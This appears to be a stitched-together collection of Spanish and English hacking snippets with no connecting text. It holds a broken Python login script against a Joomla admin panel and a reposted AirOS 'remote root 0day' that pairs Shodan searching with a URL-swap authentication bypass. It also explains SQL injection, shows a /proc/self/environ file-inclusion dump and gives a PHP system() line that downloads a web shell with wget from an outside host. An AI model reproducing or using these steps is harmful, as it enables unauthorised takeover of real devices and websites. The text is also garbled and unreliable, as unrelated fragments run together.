#!/usr/bin/python

import urllib2, urllib, os
 
 
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password(realm=''  uri='http://192.168.56.101/Joomla_1.5.20-Spanish-pack_completo/administrator/', user='admin',   passwd='123456')

opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)

respuesta = urllib2.urlopen('http://192.168.56.101/Joomla_1.5.20-Spanish-pack_completo/administrator/')

os.system("firefox http://192.168.56.101/Joomla_1.5.20-Spanish-pack_completo/administrator/index.php")

import os
 
os.system("firefox www.google.com")

ruben@coyote:~/UBNT$ ./boa.py
  File "./boa.py", line 7
    auth_handler.add_password(realm=''  uri='http://192.168.56.101/Joomla_1.5.20-Spanish-pack_completo/administrator/', user='admin',   passwd='123456')
                                                          ^
SyntaxError: invalid syntax

AirOS remote root 0day

since some genius decided to write worm for this, here is early santa for you, kids:

1. http://www.shodanhq.com/search?q=airos
2. click arbitrary system
3. change http://X.X.X.X/login.cgi?uri=/ to http://X.X.X.X/admin.cgi/sd.css
4. profit?

IRCNet opers: expect some decent KNB bot mayhem for a while

La aplicación recibe un identificador numérico y devuelve qué usuario dispone de ese identificador. Por ejemplo, si introducimos un '1' como "user id" la aplicación nos devolverá 'admin'. La aplicación realiza la siguiente consulta SQL sobre la base de datos, "SELECT first_name, last_name FROM users WHERE user_id = '$id'", recibiendo como parámetro el user_id. En el caso de no realizar un buen tratamiento del identificador un atacante podrá realizar una inyección SQL.

en ese caso sigue intentando por otro medio.

DOCUMENT_ROOT=/home/*********/public_html�GATEWAY_INTERFACE=CGI/1.1�HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8�HTTP_ACCEPT_CHARSET=TIS-620,utf-8;q=0.7,*;q=0.7�HTTP_ACCEPT_ENCODING=gzip,deflate�HTTP_ACCEPT_LANGUAGE=en-us,en;q=0.5�HTTP_CONNECTION=keep-alive�HTTP_HOST=www.***************.com.pt�HTTP_KEEP_ALIVE=115�HTTP_USER_AGENT=AQUI DEBE IR LA SHELL�PATH=/bin:/usr/bin�QUERY_STRING=content=*******/*******.php/../../../../../../proc/self/environ�REDIRECT_STATUS=200�REMOTE_ADDR=***.***.***.***�REMOTE_PORT=47433�REQUEST_METHOD=GET�REQUEST_URI=/*****.php?**********=***/*****.php/../../../../../../proc/self/environ�SCRIPT_FILENAME=/home/******/public_html/index.php�SCRIPT_NAME=/index.php�SERVER_ADDR=***.***.***.***�SERVER_ADMIN=webmaster@**********.com.**�SERVER_NAME=www.***********.com.**�SERVER_PORT=80�SERVER_PROTOCOL=HTTP/1.1�SERVER_SIGNATURE=�
SERVER_SOFTWARE=Apache�UNIQUE_ID=**************_****�

<?system ('wget http://rutadeunawebshell.com/shell.txt -o shell.php');?>

Not Found

The requested URL /shell.php was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.